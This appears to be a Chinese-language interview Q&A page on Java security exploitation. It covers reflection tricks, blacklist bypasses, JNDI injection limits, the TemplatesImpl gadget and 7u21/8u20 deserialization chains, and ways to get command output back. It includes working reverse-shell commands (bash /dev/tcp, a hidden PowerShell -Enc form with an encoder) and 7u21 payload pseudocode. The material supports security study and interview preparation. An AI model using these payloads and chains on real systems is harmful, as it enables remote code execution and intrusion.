Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

JDK

  • Java反射做了什么事情(★)

反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果

  • Java反射可以修改Final字段嘛(★★)

可以做到,参考以下代码

field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);
  • 传统的反射方法加入黑名单怎么绕(★★★)

可以使用的类和方法如下(参考三梦师傅)

ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance
  • Java中可以执行反弹shell的命令吗(★★)

可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1会失败,简单来说因为>符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash下才可以,使用Java执行这样的命令会失败,所以需要加入Base64

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对Powershell应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同,需要填充0,算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}
  • 假设Runtime.exec加入黑名单还有什么方式执行命令(★★)

其实这个问题有点类似JSP Webshell免杀

大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)

  • RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)

RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

  • RMI和LDAP的限制版本分别可以怎样绕过(★★)

RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发

通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过

LDAP的限制中不对javaSerializedData验证,所以可以打本地gadget

  • 谈谈TemplatesImpl这个类(★★)

这个类本身是JDK中XML相关的类,但被很多Gadget拿来用

一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl类,其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组,是被加载的字节码

通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法(getter)中调用了newTransformer方法,也是一个利用链

TemplatesImpl.getOutputProperties()
	TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
	TemplatesImpl.defineTransletClasses()
	ClassLoader.defineClass()
	Class.newInstance()
  • 了解BCEL ClassLoader吗(★)

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

  • 谈谈7U21反序列化(★★★★★)

LinkedHashSet.readObject开始,找到父类HashSet.readObject方法,其中包含HashMap的类型转换以及HashMap.put方法,跟入HashMap.put其中对key与已有key进行equals判断,这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞,让下一个key的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法,两个key对象不相同是显而易见的

接下来的任务是找到一处能触发equals方法的地方

反射创建AnnotationInvocationHandler对象,传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke方法,在AnnotationInvocationHandler这个InvocationHandlerinvoke方法实现中如果遇到equals方法,会进入equalsImpl方法,其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用,通过getOutputProperties方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;

结合调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()/HashMap.put()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()

可以看到伪代码最后在mapput了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的,跟入hashCodeImpl方法看到是根据传入参数HashMap来做的,累加每一个Entrykeyvalue计算得出的hashcode。通过一些运算,可以找到符合条件的碰撞值

  • 谈谈8U20反序列化(★★★★★)

这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过)

AnnotationInvocationHandler反序列化调用readObject方法中,对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过,在它的readObject方法中调用readChildren方法,其中有try-catch但没有抛出异常而是continue继续

所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据

  • 了解缩小反序列化Payload的手段吗(★★★)

首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载

  • 谈谈实战中命令执行有哪些回显的办法(★★★★)

首先想到的办法是dnslog等技术进行外带,但必须出网,有限制

然后类似内存马的思路,针对指定中间件找response对象写入执行结果

尝试写文件,往web目录下写,例如xx.html可以访问到即可

将命令执行结果抛出异常,然后用URLClassLoader加载,达到报错回显

Y4er师傅提到的自定义类加载器配合RMI的一种方式

  • 有没有了解过针对linux的通杀的回显方式(★★★★)

获取本次http请求用到socket的文件描述符,然后往文件描述符里写命令执行的结果

但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题

  • 是否存在针对windows的通杀的回显方式(★★★★)

原理类似linux的通杀回显,在windowsnio/bio中有类似于linux文件描述符这样的句柄文件

遍历fd反射创建对应的文件描述符,利用sun.nio.ch.Net#remoteAddress确认文件描述符有效性,然后往里面写数据实现回显

Morty Proxy This is a proxified and sanitized view of the page, visit original site.